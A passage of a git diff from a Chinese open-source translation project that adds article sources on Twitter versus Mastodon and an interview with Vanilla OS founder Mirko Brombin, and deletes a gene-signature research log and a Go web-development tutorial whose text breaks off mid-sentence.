Mastodon.md b/sources/talk/20221110.6 ⭐️⭐️ 4 key differences between Twitter and Mastodon.md new file mode 100644 index 0000000000..47d1016c92 --- /dev/null +++ b/sources/talk/20221110.6 ⭐️⭐️ 4 key differences between Twitter and Mastodon.md @@ -0,0 +1,81 @@ +[#]: subject: "4 key differences between Twitter and Mastodon" +[#]: via: "https://opensource.com/article/22/11/twitter-vs-mastodon" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +4 key differences between Twitter and Mastodon +====== + +Mastodon is not a corporation. All of its instances are staffed and supported by each server's contributors. Here are a few other advantages. + +Social media is not always sociable, and sometimes we need a sufficient impetus to change what we do and what we read. I began using Twitter as a replacement for my RSS reader in 2008, which revolutionized how I read and learned up to that point. Tweets from educators and free and open source (FOSS) advocates worldwide kept me informed and engaged in a learning network that was without equal. That's changed over the past half dozen years, and recently a change in ownership and the shaping of what I read was driven more by an algorithm than by my personal interests and choices. During a yearly meetup of correspondents and editors of Opensource.com a few years ago, [Seth Kenlon][1] suggested giving [Mastodon][2] a try. I joined [Fosstodon][3] in 2019. Fosstodon is a Mastodon instance for a community of like-minded people who enjoy free and open source software. + +### Mastodon vs Twitter + +Change is not easy. Being a creature of habit, I stayed with my old standby even though it was becoming increasingly tiresome. The threat of its sale in the spring of 2022 invited me to reconsider Fosstodon. + +### 1. Favorite instead of like + +The Mastodon interface is similar to Twitter. Rather than "liking" a post, you "favorite" a post on Mastodon by clicking the star icon under the post content. + +![Favorite button][4] + +### 2. Share a post + +Re-sharing on my old network is a "retweet," but on Mastodon, it's a "boost." You click the double-arrow icon under the post content to boost a post. + +![Boost button][5] + +### 3. Mastodon instances + +Because anyone can run a Mastodon instance, different instances not only have unique communities (like the ones that form around specific hashtags on Twitter, but Mastodon also has hashtags). Some have a unique set of rules. For instance, unlike my former social network, there were content moderation rules on Fosstodon that seemed strict initially. I made a post unrelated to FOSS software, and my post was removed. I was told it had been removed because I'd not issued a "content warning." That irked me, so I looked for another instance and found a couple more to my liking. One was [Mastodon.social][6], and the other [Scholar.social][7]. The former is a general server with no expectation about what you will post. The latter was an instance dedicated to academics. In all cases, there are well-enforced codes of conduct. + +Each instance has rules, and while they differ slightly in the description, they clearly spell out what is and is not acceptable behavior. Fosstodon published its [code of conduct][8], which established the rules and expectations of behavior on the site. + +### 4. Open source social networking + +If you want to run your own Mastodon instance or help develop one, you'll be happy to know that Mastodon is open source. It uses an AGPLv3 license, and its source code is available as a [Git repository][9]. The software provides a social network server that uses the [ActivityPub][10] protocol to communicate with other servers worldwide. + +Mastodon is not a single site on the internet but a series of sites spanning the globe and communicating with each other. This federated network is referred to as the "fediverse." Unlike other social networks, where there's a single owner of the network, Mastodon and other ActivityPub sites are owned by anyone who runs a server. + +From a user's perspective, this doesn't matter at first. You can sign up on any Mastodon instance and then connect to all other instances. + +There is power to this distributed design, though. If you encounter an instance with a community producing content you'd rather not see, you can block either a single user from that instance or the whole instance. + +In the past month, I've returned to Fosstodon primarily because open source is my passion. I enjoy sharing open source content on Fosstodon because the other users of Fosstodon are generally receptive to posts about free and open source software. When I have something to share that's not considered appropriate on Fosstodon, I share it on Scholar.social or Mastodon.social. + +Not all instances have topics they focus on, and even those that do often use their topical interests as a guideline rather than grounds for strict removal of posts. If you have a particular interest, you might be able to find a community built around that topic, and you're likely to see that you have an instant audience. Of course, you'll still always be able to communicate with users of other instances, too. + +### Try Mastodon + +Mastodon is not a corporation. All of its instances are staffed and supported by each server's contributors. Some instances make it easy to support them with Patreon or PayPal. + +I have found the fediverse a welcoming place that brings joy back into social networking. Have you joined Mastodon? What are your takeaways? Let us know in the comments. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/twitter-vs-mastodon + +作者:[Don Watkins][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lkxed +[1]: https://opensource.com/users/seth +[2]: https://joinmastodon.org/ +[3]: https://fosstodon.org/about/ +[4]: https://opensource.com/sites/default/files/2022-11/favorite-button.webp +[5]: https://opensource.com/sites/default/files/2022-11/boost-button.webp +[6]: https://mastodon.social/about +[7]: https://scholar.social/about/more +[8]: https://hub.fosstodon.org/coc/ +[9]: https://github.com/mastodon/mastodon +[10]: https://en.wikipedia.org/wiki/ActivityPub diff --git a/sources/talk/20221206.2 ⭐️⭐️ 'Don't be Afraid to Contribute' Mirko Brombin Talks about Vanilla OS and Other Future Projects.md b/sources/talk/20221206.2 ⭐️⭐️ 'Don't be Afraid to Contribute' Mirko Brombin Talks about Vanilla OS and Other Future Projects.md new file mode 100644 index 0000000000..afe4c238a8 --- /dev/null +++ b/sources/talk/20221206.2 ⭐️⭐️ 'Don't be Afraid to Contribute' Mirko Brombin Talks about Vanilla OS and Other Future Projects.md @@ -0,0 +1,155 @@ +[#]: subject: "'Don't be Afraid to Contribute': Mirko Brombin Talks about Vanilla OS and Other Future Projects" +[#]: via: "https://news.itsfoss.com/interview-mirko-brombin/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +'Don't be Afraid to Contribute': Mirko Brombin Talks about Vanilla OS and Other Future Projects +====== + +A conversation with Mirko Brombin, founder of Vanilla OS and Bottles creator. + +!['Don't be Afraid to Contribute': Mirko Brombin Talks about Vanilla OS and Other Future Projects][1] + +There are many interesting personalities in the Linux and open-source world. + +We aim to interact with them and share their stories/thoughts with you. While we did a few interviews in 2021, we are resuming the mission to share insightful conversations with amazing folks in our open-source and Linux universe. + +[Mirko Brombin][2] is one such cool guy 😎 He works as a UX designer full-time, and despite doing all that, he is involved with open-source projects that we admire! + +If you did not know, he is the creator of **[Bottles][3]** (an app to run Windows apps/games on Linux) and **[Vanilla OS][4]**'s founder. + +So, I asked a couple of questions to provide details about his **projects**, his **work/life**, and some **valuable tips** for our readers who want to join the open-source community. + +**Q.** _**Many people think that we have more than enough distros. Why Vanilla OS?**_ + +![vanilla os][5] + +**A:** It is because this one is 10x faster and safer than all the others! Just kidding. **Vanilla OS was born mainly out of a need of mine and a desire to experiment**. I have been a Linux user for many years and have tried many distributions. They always suffered from the lack of certain features and concepts that led me to compulsively distro-hop. In recent years I have been a happy user of Silverblue, a distribution that made me explore the benefits of immutable systems. + +Silverblue is a fantastic project. It's one of the most solid distributions I have tried. However, it does not fully meet my needs. Maintaining Bottles often requires me to play games for testing purposes, and having an NVIDIA GPU, I have had quite a few problems with Silverblue, from driver installation to constant driver breakage and a distinctly noticeable drop in performance. Let's be clear, **NVIDIA is a problem in every distribution** but there is much that can be done to improve the quality of life for users using these GPUs, such as guiding driver installation, pre-configuring the setup for Optimus (Integrated+Dedicated) laptops, and allowing PRIME profile switching in an easy way. To date, only Ubuntu and derivatives have been pre-configured for this workflow. + +![nvidia illustration][6] + +My problem with Ubuntu-based distributions is that they do not offer an experience compatible with my needs either. **I am a devoted GNOME user**, I fully endorse the user experience envisioned by GNOME, and I am completely addicted to it. + +I understand the need for **Ubuntu, Pop!_OS,** and others to provide their own vision and branding, but these modifications are deal breakers for me and probably for many users. GNOME designers and developers are professionals that have been working in this industry for countless years, perfecting their vision, but many distributions change the workflow in ways that I cannot use my systems effectively. + +**Another problem with Ubuntu is that it does not offer immutability and atomicity of transactions**, two mechanisms that make the system solid and safe from easy breakage, for example, when an update goes wrong. + +![solving ubuntu problems][7] + +Adding up all those shortcomings and my passion for throwing myself into increasingly complex projects, I decided to create **Vanilla OS, an Ubuntu-based distribution, with a stock GNOME desktop** and all the merits of immutability and atomicity. + +**Q.****_Some of your projects, like Bottles and the upcoming Vanilla OS, are immensely popular. Do you have other project ideas for the future?_****A:** I have a long list of projects that I would like to accomplish in the future, but my next goal is to develop and contribute to a project idealized by @[TheEvilSkeleton][8]: a **utility to configure MangoHud, an overlay that displays useful information about game FPS, temperatures, CPU/GPU load and more**. + +With this new project, we plan to integrate it in Bottles and provide a graphical interface to customize MangoHud parameters. Similarly, we did the same thing for vkBasalt with vkbasalt-cli. + +**_Q. There will always be a new distro, even if some of us would rather not see more. When I tried out Vanilla OS, it did not feel like “just another distro” but with a unique angle to it._****_So, what’s your near future plan with Vanilla OS?_****A:** My future plan for Vanilla OS is **to make the project sustainable so that I can work on it full-time**. This is more of a dream in my drawer but, who knows. + +I have many ideas that I'll share on social media eventually. Something I can tell you now is that one of my dreams is to see Vanilla OS on multiple platforms like desktops, mobile, and tablets. I want to create an environment with an Apple-like continuity, without the scamming, as the **user experience is always the main focus for me.** + +Q. _**Bottles is a fantastic tool to help users run Windows software on Linux in a few clicks. Various other tools like Heroic Games Launcher have been trying to make things easy for Windows users to play their favorite games on Linux easily.**__**How do you think that’s going? Do you have any stats to share about that through Bottles?**_**A:** Heroic is a project that I admire and follow closely. I am friends with [Flavio][9] (the founder) and [Linguin][10] (one of the developers), and I know how hard the whole team is working to make the gaming experience on Linux more and more fulfilling, so **a Hooray! for Heroic**. + +![Heroic Games launcher][11] + +**Bottles** is like a son to me, I have raised him at my best, and he is giving me a lot of satisfaction. Recently I had to decrease my presence in the project to focus on others and my daily job. This has been possible thanks to a team of contributors who have joined over time, people who share the same vision of the project as I do and cherish its ideals. + +![bottles screenshot][12] + +The structure of the project is changing radically. Initially, I was the one making every decision, whereas now everything is discussed and put to a vote, trying to get a shared verdict. In this, it is like watching a son grow up and make his own decisions, aware of what I have taught him over time. + +**Release 2022.11.14**, is the first release entirely developed by the Bottles team. One of the best releases ever in my opinion. For this, I have to give special thanks to @**TheEvilSkeleton,** who led the release, and [noëlle][13], who made the graphics part. + +A small milestone I would like to share with you is the **achievement of 400,000+ downloads from Flathub.** 🎉 + +![Bottle download stats][14] + +_**Q. If someone gets interested in contributing to any one of your projects. What advice would you give them? What programming language should they focus on if they want to collaborate with you?**_**A:** My advice is not to be afraid to contribute and ask questions, even if it's a "bad" question. Even if you are afraid. There is no such thing as a bad contribution. A well-written ticket is already a great way to do your part. Personally, I don't give weight to contributions, I give credit to those who have spent much more time certainly, but for me, every single contribution is a small brick that helps the project grow. + +**I mostly use Python and Go** for my projects but I would not make it a requirement. If a user wants to help with Vanilla OS, for example by making an application we need, well, they can use whatever language they like. + +![python programming][15] + +The only thing I would ask is to carefully consider the language and choose the one best suited for the type of project you need to create, as the choice will affect who can contribute (or not), for example, I would never choose Rust for a small tool, as Rust is not an easy language for newcomers and new contributors typically contribute to smaller projects that are written in user-friendly languages. + +_**Q. Other than your creations, what other project or distro would you mention as one of your favorites?**_**A:** I have many projects that I would like to mention here, but it would become a season of Vikings. Among all of them, the one that, in my opinion, deserves mention is **Distrobox, a project made by** [Luca di Maio][16]**, a friend of mine as well as an active member in the making of the Vanilla OS project.** + +Distrobox is a tool that installs Linux distributions inside managed containers integrated with the system, allowing, for example, to install and run software in a Fedora container while running Ubuntu, integrating it seamlessly with the host system. + +Distrobox is also employed by Apx, the Vanilla OS package manager. Every package installed through Apx resides in the Distrobox container, keeping the system safe from any discrepancies or breaks from a possible update gone wrong. + +_**Q. How do you keep up with all the projects you’re working on? What’s your mantra on productivity or time management?**_**A:** Contrary to what you may think, I don't work much on my projects, my daily job takes a lot of my time, and I have many other passions to cultivate. + +![productivity][17] + +I don't have any particular time management or organization; normally I try to stay focused on my projects by reasoning about them in my spare time and taking notes, so as soon as I get back to work on a project, I already have a clear idea of what I need to do. + +_**Q. You are also a GNOME Foundation member. What’s it like being a GNOME foundation member? Can anyone apply to be a part of it?**_**A:** I am still a very recent member and I don't have much to say, except that it is wonderful to be inside the project that I absolutely love and respect the most, as it has changed the way I use my PC, with a workflow designed to be free of distractions and where everything is intuitive and immediate; in short, where the user experience is always first. + +Anyone can apply, as long as they are an active person with demonstrable contributions. + +**_Q. As a GNOME foundation member, what do you think GNOME should improve compared to the KDE Plasma side?_****A:** I don't want to sound brash but I think **GNOME is currently complete as it is**. I've seen it grow since the beginning and I know how many steps have been taken since GNOME 2 and 3, I'm sure many more are to come but **right now I can't find a lack in comparison to KDE**. + +![gnome user][18] + +I know at this point someone is saying "_Eh but KDE has themes and a setting for this and that._" and I agree, it is a fact that KDE is the most customizable desktop environment of all, but you have to understand that GNOME doesn't implement all these settings because the whole thing is designed to provide a single, but efficient, user experience. Providing a setting to change every single aspect of it is more of an invitation for the user to do so, feeding bug reports for a different experience than designed. + +It is important to understand that more customization inevitably leads to more discrepancies and bugs, as all components of the system are meant to work in a certain way, and altering them takes you out of the testing environment that is used in GNOME. + +**_Q. What do you like to do in your spare time?_** + +![world history and podcast][19] + +**A:** In my free time, I love to **write recipes** or listen to the **world's history podcasts**. + +10-yo Mirko would find me boring, haha 😁 + +_**Q. A message to our readers (to inspire them/add a tip that you always wanted to share, etc)**_ + +![dialogue is good][20] + +**A:** Don't be afraid to contribute or speak. I often find that someone has a great idea to solve a problem and has never told anyone because of the fear that it was wrong. Let's be clear that a contribution is something to improve and is therefore always welcome. + +Certainly, not all ideas are feasible or correct but dialogue is a great way to find out. + +Don't be shy; come on! + +> 💭 Share your thoughts on the interview and if you want us to talk to your favorite open-source/Linux creator, feel free to mention them in the comments. + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/interview-mirko-brombin/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/interview-with-mirko-brombin.png +[2]: https://mirko.pm +[3]: https://usebottles.com +[4]: https://vanillaos.org +[5]: https://news.itsfoss.com/content/images/2022/12/vanillaos.jpg +[6]: https://news.itsfoss.com/content/images/2022/12/nvidia.png +[7]: https://news.itsfoss.com/content/images/2022/12/ubuntu.png +[8]: https://github.com/TheEvilSkeleton +[9]: https://github.com/flavioislima +[10]: https://github.com/imLinguin +[11]: https://news.itsfoss.com/content/images/2022/12/Heroic_2.jpg +[12]: https://news.itsfoss.com/content/images/2022/12/bottle-creation-dark.png +[13]: https://github.com/jannuary +[14]: https://news.itsfoss.com/content/images/2022/12/download-milestone.png +[15]: https://news.itsfoss.com/content/images/2022/12/python.png +[16]: https://github.com/89luca89 +[17]: https://news.itsfoss.com/content/images/2022/12/productivity.png +[18]: https://news.itsfoss.com/content/images/2022/12/gnome-1.png +[19]: https://news.itsfoss.com/content/images/2022/12/history-1.png +[20]: https://news.itsfoss.com/content/images/2022/12/dialogue.png diff --git a/sources/tech/20151127 Research log- gene signatures and connectivity map.md b/sources/tech/20151127 Research log- gene signatures and connectivity map.md deleted file mode 100644 index f4e7faa4bc..0000000000 --- a/sources/tech/20151127 Research log- gene signatures and connectivity map.md +++ /dev/null @@ -1,133 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Research log: gene signatures and connectivity map) -[#]: via: (https://www.jtolio.com/2015/11/research-log-gene-signatures-and-connectivity-map) -[#]: author: (jtolio.com https://www.jtolio.com/) - -Research log: gene signatures and connectivity map -====== - -Happy Thanksgiving everyone! - -### Context - -This is the third post in my continuing series on my attempts at research. Previously we talked about: - - * [what I’m doing, cell states, and microarrays][1] - * and then [more about microarrays and R][2]. - - - -By the end of last week we had discussed how to get a table of normalized gene expression intensities that looks like this: - -``` -ENSG00000280099_at 0.15484421 -ENSG00000280109_at 0.16881395 -ENSG00000280178_at -0.19621641 -ENSG00000280316_at 0.08622216 -ENSG00000280401_at 0.15966256 -ENSG00000281205_at -0.02085352 -... -``` - -The reason for doing this is to figure out which genes are related, and perhaps more importantly, what a cell is even doing. - -_Summary:_ new post, also, I’m bringing back the short section summaries. - -### Cell lines - -The first thing to do when trying to figure out what cells are doing is to choose a cell. There’s all sorts of cells. Healthy brain cells, cancerous blood cells, bruised skin cells, etc. - -For any experiment, you’ll need a control to eliminate noise and apply statistical tests for validity. If you don’t use a control, the effect you’re seeing may not even exist, and so for any experiment with cells, you will need a control cell. - -Cells often divide, which means that a cell, once chosen, will duplicate itself for you in the presence of the appropriate resources. Not all cells divide ad nauseam which provides some challenges, but many cells under study luckily do. - -So, a _cell line_ is simply a set of cells that have all replicated from a specific chosen initial cell. Any set of cells from a cell line will be as identical as possible (unless you screwed up! geez). They will be the same type of cell with the same traits and behaviors, at least, as much as possible. - -_Summary:_ a cell line is a large amount of cells that are as close to being the same as possible. - -### Perturbagens - -There are many things that might affect what a cell is doing. Drugs, agitation, temperature, disease, cancer, gene splicing, small molecules (maybe you give a cell more iron or calcium or something), hormones, light, Jello, ennui, etc. Given any particular cell line, giving a cell from that cell line one of these _perturbagens_, or, perturbing the cell in a specific way, when compared to a control will say what that cell does differently in the face of that perturbagen. - -If you’d like to find out what exactly a certain type of cell does when you give it lemon lime soda, then you choose the right cell line, leave out some control cells and give the rest of the cells soda. - -Then, you measure gene expression intensities for both the control cells and the perturbed cells. The _differential expression_ of genes between the perturbed cells and the controls cells is likely due to the introduction of the lemon lime soda. - -Genes that end up getting expressed _more_ in the presence of the soda are considered _up-regulated_, whereas genes that end up getting expressed _less_ are considered _down-regulated_. The degree to which a gene is up or down regulated constitutes how much of an effect the soda may have had on that gene. - -Of course, all of this has such a significant amount of experimental noise that you could find pretty much anything. You’ll need to replicate your experiment independently a few times before you publish that lemon lime soda causes increased expression in the [Sonic hedgehog gene][3]. - -_Summary:_ A perturbagen is something you introduce/do to a cell to change its behavior, such as drugs or throwing it at a wall or something. The wall perturbagen. - -### Gene signature - -For a given change or perturbagen to a cell, we now have enough to compute lists of up-regulated and down-regulated genes and the magnitude change in expression for each gene. - -This gene expression pattern for some subset of important genes (perhaps the most changed in expression) is called a _gene signature_, and gene signatures are very useful. By comparing signatures, you can: - - * identify or compare cell states - * find sets of positively or negatively correlated genes - * find similar disease signatures - * find similar drug signatures - * find drug signatures that might counteract opposite disease signatures. - - - -(That last bullet point is essentially where I’m headed with my research.) - -_Summary:_ a gene signature is a short summary of the most important gene expression differences a perturbagen causes in a cell. - -### Drugs! - -The pharmaceutical industry is constantly on the lookout for new breakthrough drugs that might represent huge windfalls in cash, and drugs don’t always work as planned. Many drugs spend years in research and development, only to ultimately find poor efficacy or adoption. Sometimes drugs even become known [much more for their side-effects than their originally intended therapy][4]. - -The practical upshot is that there’s countless FDA-approved drugs that represent decades of work that are simply underused or even unused entirely. These drugs have already cleared many challenging regulatory hurdles, but are simply and quite literally cures looking for a disease. - -If even just one of these drugs can be given a new lease on life for some yet-to-be-cured disease, then perhaps we can give some people new leases on life! - -_Summary:_ instead of developing new drugs, there’s already lots of drugs that aren’t being used. Maybe we can find matching diseases! - -### The Connectivity Map project - -The [Broad Institute’s Connectivity Map project][5] isn’t particularly new anymore, but it represents a ground breaking and promising idea - we can dump a bunch of signatures into a database and construct all sorts of new hypotheses we might not even have thought to check before. - -To prove out the usefulness of this idea, the Connectivity Map (or cmap) project chose 5 different cell lines (all cancer cells, which are easy to get to replicate!) and a library of FDA approved drugs, and then gave some cells these drugs. - -They then constructed a database of all of the signatures they computed for each possible perturbagen they measured. Finally, they constructed a web interface where a user can upload a gene signature and get a result list back of all of the signatures they collected, ordered by the most to least similar. You can totally go sign up and [try it out][5]. - -This simple tool is surprisingly powerful. It allows you to find similar drugs to a drug you know, but it also allows you to find drugs that might counteract a disease you’ve created a signature for. - -Ultimately, the project led to [a number of successful applications][6]. So useful was it that the Broad Institute has doubled down and created the much larger and more comprehensive [LINCS Project][7] that targets an order of magnitude more cell lines (77) and more perturbagens (42,532, compared to cmap’s 6100). You can sign up and use that one too! - -_Summary_: building a system that supports querying signature connections has already proved to be super useful. - -### Whew - -Alright, I wrote most of this on a plane yesterday but since I should now be spending time with family I’m going to cut it short here. - -Stay tuned for next week! - --------------------------------------------------------------------------------- - -via: https://www.jtolio.com/2015/11/research-log-gene-signatures-and-connectivity-map - -作者:[jtolio.com][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.jtolio.com/ -[b]: https://github.com/lujun9972 -[1]: https://www.jtolio.com/writing/2015/11/research-log-cell-states-and-microarrays/ -[2]: https://www.jtolio.com/writing/2015/11/research-log-r-and-more-microarrays/ -[3]: https://en.wikipedia.org/wiki/Sonic_hedgehog -[4]: https://en.wikipedia.org/wiki/Sildenafil#History -[5]: https://www.broadinstitute.org/cmap/ -[6]: https://www.broadinstitute.org/cmap/publications.jsp -[7]: http://www.lincscloud.org/ diff --git a/sources/tech/20170112 Writing Advanced Web Applications with Go.md b/sources/tech/20170112 Writing Advanced Web Applications with Go.md deleted file mode 100644 index f46521e8a7..0000000000 --- a/sources/tech/20170112 Writing Advanced Web Applications with Go.md +++ /dev/null @@ -1,658 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Writing Advanced Web Applications with Go) -[#]: via: (https://www.jtolio.com/2017/01/writing-advanced-web-applications-with-go) -[#]: author: (jtolio.com https://www.jtolio.com/) - -Writing Advanced Web Applications with Go -====== - -Web development in many programming environments often requires subscribing to some full framework ethos. With [Ruby][1], it’s usually [Rails][2] but could be [Sinatra][3] or something else. With [Python][4], it’s often [Django][5] or [Flask][6]. With [Go][7], it’s… - -If you spend some time in Go communities like the [Go mailing list][8] or the [Go subreddit][9], you’ll find Go newcomers frequently wondering what web framework is best to use. [There][10] [are][11] [quite][12] [a][13] [few][14] [Go][15] [frameworks][16] ([and][17] [then][18] [some][19]), so which one is best seems like a reasonable question. Without fail, though, the strong recommendation of the Go community is to [avoid web frameworks entirely][20] and just stick with the standard library as long as possible. Here’s [an example from the Go mailing list][21] and here’s [one from the subreddit][22]. - -It’s not bad advice! The Go standard library is very rich and flexible, much more so than many other languages, and designing a web application in Go with just the standard library is definitely a good choice. - -Even when these Go frameworks call themselves minimalistic, they can’t seem to help themselves avoid using a different request handler interface than the default standard library [http.Handler][23], and I think this is the biggest source of angst about why frameworks should be avoided. If everyone standardizes on [http.Handler][23], then dang, all sorts of things would be interoperable! - -Before Go 1.7, it made some sense to give in and use a different interface for handling HTTP requests. But now that [http.Request][24] has the [Context][25] and [WithContext][26] methods, there truly isn’t a good reason any longer. - -I’ve done a fair share of web development in Go and I’m here to share with you both some standard library development patterns I’ve learned and some code I’ve found myself frequently needing. The code I’m sharing is not for use instead of the standard library, but to augment it. - -Overall, if this blog post feels like it’s predominantly plugging various little standalone libraries from my [Webhelp non-framework][27], that’s because it is. It’s okay, they’re little standalone libraries. Only use the ones you want! - -If you’re new to Go web development, I suggest reading the Go documentation’s [Writing Web Applications][28] article first. - -### Middleware - -A frequent design pattern for server-side web development is the concept of _middleware_, where some portion of the request handler wraps some other portion of the request handler and does some preprocessing or routing or something. This is a big component of how [Express][29] is organized on [Node][30], and how Express middleware and [Negroni][17] middleware works is almost line-for-line identical in design. - -Good use cases for middleware are things such as: - - * making sure a user is logged in, redirecting if not, - * making sure the request came over HTTPS, - * making sure a session is set up and loaded from a session database, - * making sure we logged information before and after the request was handled, - * making sure the request was routed to the right handler, - * and so on. - - - -Composing your web app as essentially a chain of middleware handlers is a very powerful and flexible approach. It allows you to avoid a lot of [cross-cutting concerns][31] and have your code factored in very elegant and easy-to-maintain ways. By wrapping a set of handlers with middleware that ensures a user is logged in prior to actually attempting to handle the request, the individual handlers no longer need mistake-prone copy-and-pasted code to ensure the same thing. - -So, middleware is good. However, if Negroni or other frameworks are any indication, you’d think the standard library’s `http.Handler` isn’t up to the challenge. Negroni adds its own `negroni.Handler` just for the sake of making middleware easier. There’s no reason for this. - -Here is a full middleware implementation for ensuring a user is logged in, assuming a `GetUser(*http.Request)` function but otherwise just using the standard library: - -``` -func RequireUser(h http.Handler) http.Handler { - return http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) { - user, err := GetUser(req) - if err != nil { - http.Error(w, err.Error(), http.StatusInternalServerError) - return - } - if user == nil { - http.Error(w, "unauthorized", http.StatusUnauthorized) - return - } - h.ServeHTTP(w, req) - }) -} -``` - -Here’s how it’s used (just wrap another handler!): - -``` -func main() { - http.ListenAndServe(":8080", RequireUser(http.HandlerFunc(myHandler))) -} -``` - -Express, Negroni, and other frameworks expect this kind of signature for a middleware-supporting handler: - -``` -type Handler interface { - // don't do this! - ServeHTTP(rw http.ResponseWriter, req *http.Request, next http.HandlerFunc) -} -``` - -There’s really no reason for adding the `next` argument - it reduces cross-library compatibility. So I say, don’t use `negroni.Handler` (or similar). Just use `http.Handler`! - -### Composability - -Hopefully I’ve sold you on middleware as a good design philosophy. - -Probably the most commonly-used type of middleware is request routing, or muxing (seems like we should call this demuxing but what do I know). Some frameworks are almost solely focused on request routing. [gorilla/mux][32] seems more popular than any other part of the [Gorilla][33] library. I think the reason for this is that even though the Go standard library is completely full featured and has a good [ServeMux][34] implementation, it doesn’t make the right thing the default. - -So! Let’s talk about request routing and consider the following problem. You, web developer extraordinaire, want to serve some HTML from your web server at `/hello/` but also want to serve some static assets from `/static/`. Let’s take a quick stab. - -``` -package main - -import ( - "net/http" -) - -func hello(w http.ResponseWriter, req *http.Request) { - w.Write([]byte("hello, world!")) -} - -func main() { - mux := http.NewServeMux() - mux.Handle("/hello/", http.HandlerFunc(hello)) - mux.Handle("/static/", http.FileServer(http.Dir("./static-assets"))) - http.ListenAndServe(":8080", mux) -} -``` - -If you visit `http://localhost:8080/hello/`, you’ll be rewarded with a friendly “hello, world!” message. - -If you visit `http://localhost:8080/static/` on the other hand (assuming you have a folder of static assets in `./static-assets`), you’ll be surprised and frustrated. This code tries to find the source content for the request `/static/my-file` at `./static-assets/static/my-file`! There’s an extra `/static` in there! - -Okay, so this is why `http.StripPrefix` exists. Let’s fix it. - -``` -mux.Handle("/static/", http.StripPrefix("/static", - http.FileServer(http.Dir("./static-assets")))) -``` - -`mux.Handle` combined with `http.StripPrefix` is such a common pattern that I think it should be the default. Whenever a request router processes a certain amount of URL elements, it should strip them off the request so the wrapped `http.Handler` doesn’t need to know its absolute URL and only needs to be concerned with its relative one. - -In [Russ Cox][35]’s recent [TiddlyWeb backend][36], I would argue that every time `strings.TrimPrefix` is needed to remove the full URL from the handler’s incoming path arguments, it is an unnecessary cross-cutting concern, unfortunately imposed by `http.ServeMux`. (An example is [line 201 in tiddly.go][37].) - -I’d much rather have the default `mux` behavior work more like a directory of registered elements that by default strips off the ancestor directory before handing the request to the next middleware handler. It’s much more composable. To this end, I’ve written a simple muxer that works in this fashion called [whmux.Dir][38]. It is essentially `http.ServeMux` and `http.StripPrefix` combined. Here’s the previous example reworked to use it: - -``` -package main - -import ( - "net/http" - - "gopkg.in/webhelp.v1/whmux" -) - -func hello(w http.ResponseWriter, req *http.Request) { - w.Write([]byte("hello, world!")) -} - -func main() { - mux := whmux.Dir{ - "hello": http.HandlerFunc(hello), - "static": http.FileServer(http.Dir("./static-assets")), - } - http.ListenAndServe(":8080", mux) -} -``` - -There are other useful mux implementations inside the [whmux][39] package that demultiplex on various aspects of the request path, request method, request host, or pull arguments out of the request and place them into the context, such as a [whmux.IntArg][40] or [whmux.StringArg][41]. This brings us to [contexts][42]. - -### Contexts - -Request contexts are a recent addition to the Go 1.7 standard library, but the idea of [contexts has been around since mid-2014][43]. As of Go 1.7, they were added to the standard library ([“context”][42]), but are available for older Go releases in the original location ([“golang.org/x/net/context”][44]). - -First, here’s the definition of the `context.Context` type that `(*http.Request).Context()` returns: - -``` -type Context interface { - Done() <-chan struct{} - Err() error - Deadline() (deadline time.Time, ok bool) - - Value(key interface{}) interface{} -} -``` - -Talking about `Done()`, `Err()`, and `Deadline()` are enough for an entirely different blog post, so I’m going to ignore them at least for now and focus on `Value(interface{})`. - -As a motivating problem, let’s say that the `GetUser(*http.Request)` method we assumed earlier is expensive, and we only want to call it once per request. We certainly don’t want to call it once to check that a user is logged in, and then again when we actually need the `*User` value. With `(*http.Request).WithContext` and `context.WithValue`, we can pass the `*User` down to the next middleware precomputed! - -Here’s the new middleware: - -``` -type userKey int - -func RequireUser(h http.Handler) http.Handler { - return http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) { - user, err := GetUser(req) - if err != nil { - http.Error(w, err.Error(), http.StatusInternalServerError) - return - } - if user == nil { - http.Error(w, "unauthorized", http.StatusUnauthorized) - return - } - ctx := r.Context() - ctx = context.WithValue(ctx, userKey(0), user) - h.ServeHTTP(w, req.WithContext(ctx)) - }) -} -``` - -Now, handlers that are protected by this `RequireUser` handler can load the previously computed `*User` value like this: - -``` -if user, ok := req.Context().Value(userKey(0)).(*User); ok { - // there's a valid user! -} -``` - -Contexts allow us to pass optional values to handlers down the chain in a way that is relatively type-safe and flexible. None of the above context logic requires anything outside of the standard library. - -#### Aside about context keys - -There was a curious piece of code in the above example. At the top, we defined a `type userKey int`, and then always used it as `userKey(0)`. - -One of the possible problems with contexts is the `Value()` interface lends itself to a global namespace where you can stomp on other context users and use conflicting key names. Above, we used `type userKey` because it’s an unexported type in your package. It will never compare equal (without a cast) to any other type, including `int`, in Go. This gives us a way to namespace keys to your package, even though the `Value()` method is still a sort of global namespace. - -Because the need for 